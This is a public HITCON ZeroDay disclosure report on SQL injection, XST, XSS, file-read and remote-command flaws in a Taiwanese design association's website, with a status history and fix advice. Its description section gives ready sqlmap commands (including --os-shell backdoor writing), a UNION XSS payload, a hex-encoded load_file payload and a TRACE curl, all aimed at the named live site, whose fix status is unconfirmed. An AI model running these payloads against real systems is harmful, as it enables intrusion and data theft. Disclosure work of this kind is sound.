社團法人台灣設計菁英協會 存在 XST + SQLi to XSS + SQLi to LFI + SQLi to RCE - HITCON ZeroDay

Vulnerability Detail Report

Vulnerability Overview

  • ZDID: ZD-2024-01345
  •  發信 Vendor: 社團法人台灣設計菁英協會
  • Title: 社團法人台灣設計菁英協會 存在 XST + SQLi to XSS + SQLi to LFI + SQLi to RCE
  • Introduction: 網站存在 XST + SQLi to XSS + SQLi to LFI + SQLi to RCE

處理狀態

目前狀態

公開
Last Update : 2024/12/21
  • 新提交
  • 已審核
  • 已通報
  • 未回報修補狀況
  • 未複測
  • 公開

處理歷程

  • 2024/10/21 01:21:17 : 新提交 (由 BTtea 更新此狀態)
  • 2024/10/21 01:23:05 : 新提交 (由 BTtea 更新此狀態)
  • 2024/10/21 01:24:38 : 新提交 (由 BTtea 更新此狀態)
  • 2024/10/21 01:36:02 : 新提交 (由 BTtea 更新此狀態)
  • 2024/10/21 02:38:40 : 新提交 (由 BTtea 更新此狀態)
  • 2024/10/21 17:06:53 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2024/11/08 14:13:34 : 通報未回應 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2024/11/08 14:13:34 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2024/11/08 14:13:34 : 通報未回應 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2024/12/21 03:00:07 : 公開 (由 HITCON ZeroDay 平台自動更新)

詳細資料

  • ZDID:ZD-2024-01345
  • 通報者:blacktea_player (BTtea)
  • 風險:嚴重
  • 類型:資料庫注入攻擊 (SQL Injection)

參考資料

攻擊者可利用該漏洞取得後端資料庫權限及完整資料(包含大量使用者個資或敏感性資料),同時也有機會對資料進行破壞或修改。

漏洞說明: OWASP - SQL Injection
https://www.owasp.org/index.php/SQL_Injection

漏洞說明: OWASP - Top 10 - 2017 A1 - Injection
https://www.owasp.org/index.php/Top_10-2017_A1-Injection

漏洞說明: CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
https://cwe.mitre.org/data/definitions/89.html

防護方式: OWASP - SQL Injection Prevention Cheat Sheet
https://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet
(本欄位資訊由系統根據漏洞類別自動產生,做為漏洞參考資料。)

相關網址

http://www.tdea.com.tw/news.php
http://www.tdea.com.tw/news-detail.php

敘述

使用工具 SQLmap 輔助測試 (以下若使用SQLmap工具進行注入時有中斷問題,請去除 --batch 參數後進行注入,遇到詢問連線異常是否繼續測試的訊息請選擇預設默認選項,通常是 y )

  • XST

    由於HTTP可接受TRACE過舊的協議,可利用於 XST 攻擊

    curl -i "http://www.tdea.com.tw" -X TRACE -H "XST: <script>alert(1)</script>"

    運行結果
    圖片

  • SQL injection

    • https://www.chivalrytainan.com/News.php?id=181
      GET 參數 id 存在 SQL injection
      SQLmap 工具測試參數 ( 加上 -v 3 顯示更詳細的執行過程,加上 --flush-session 清除復現過程記錄 )

      python3 sqlmap.py --random-agent -u "http://www.tdea.com.tw/news-detail.php?id=60" --prefix "'" --technique BTU --union-cols 9 --batch -v 3 --dbs --hex

      運行結果
      圖片

    • http://www.tdea.com.tw/news.php?current=1
      GET 參數 current 存在 SQL injection
      SQLmap 工具測試參數 ( 加上 -v 3 顯示更詳細的執行過程,加上 --flush-session 清除復現過程記錄 )

      python3 sqlmap.py --random-agent -u "http://www.tdea.com.tw/news.php?current=1" --prefix "'" --technique BT --batch -v 3

      運行結果
      圖片

  • SQL injection to XSS

    可利用SQL注入語法來構造XSS
    payload

    http://www.tdea.com.tw/news-detail.php?id=60' and 0 union select 1,"<img src=1 onerror=alert(1)>",3,4,5,6,7,8,9-- a

    運行結果
    圖片

  • SQL injection to LFI

    由於資料庫權限過大可讀寫檔,嘗試讀取系統文件
    payload

    http://www.tdea.com.tw/news-detail.php?id=60%27%20and%200%20union%20select%201,load_file(0x433a2f77696e646f77732f77696e2e696e69),3,4,5,6,7,8,9--%20a

    運行結果
    圖片

  • SQL injection to RCE

    由於資料庫權限過大可讀寫檔,嘗試寫入php後門後執行指令

    python3 sqlmap.py --random-agent -u "http://www.tdea.com.tw/news-detail.php?id=60" --prefix "'" --technique BTU --union-cols 9 --batch -v 3 --dbs --hex --web-root "C:/xampp/htdocs/tdea" --os-shell

    運行結果
    圖片

根據上述各種利用,此SQL弱點CVSS 3.1分數為10.0分 (個人評分僅供參考)
https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

CWE 類型 - CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
https://cwe.mitre.org/data/definitions/89.html

個人測試之上傳後門已盡數刪除

修補建議

其他檔案建議檢查是否有類似的弱點

apache , php , xampp , phpmyadmin 版本皆過舊,建議都升級至最新或較新的版本

在 C:/xampp 目錄下有發現 tmpummzg.php 與 tmputcau.php 後門檔案 , 在我測試前已有人先置入後門測試文件,建議清查系統檔案是否有其他類似檔案,以及檢查電腦是否有可疑連線 (排除是否已被當跳板或者殭屍)

不應被存取的頁面可使用 Apache 的 .htaccess 設定檔來限制不公開的頁面存取限制

建議可以使用 PDO 框架或者 mysqli_real_escape_string 函式,或者改寫成參數化查詢來預防 SQL injection。

PDO用法:
https://blog.tarswork.com/article/quick-start-operation-mysql-using-php-pdo/

mysqli_real_escape_string用法:
https://www.runoob.com/php/func-mysqli-real-escape-string.html

參數化查詢原理解說(wiki):
https://zh.wikipedia.org/zh-tw/%E5%8F%83%E6%95%B8%E5%8C%96%E6%9F%A5%E8%A9%A2

SQL injection 攻擊成因解說(wiki):
https://zh.wikipedia.org/zh-tw/SQL%E6%B3%A8%E5%85%A5

擷圖

留言討論

聯絡組織

 發送私人訊息
您也可以透過私人訊息的方式與組織聯繫,討論有關於這個漏洞的相關資訊。
;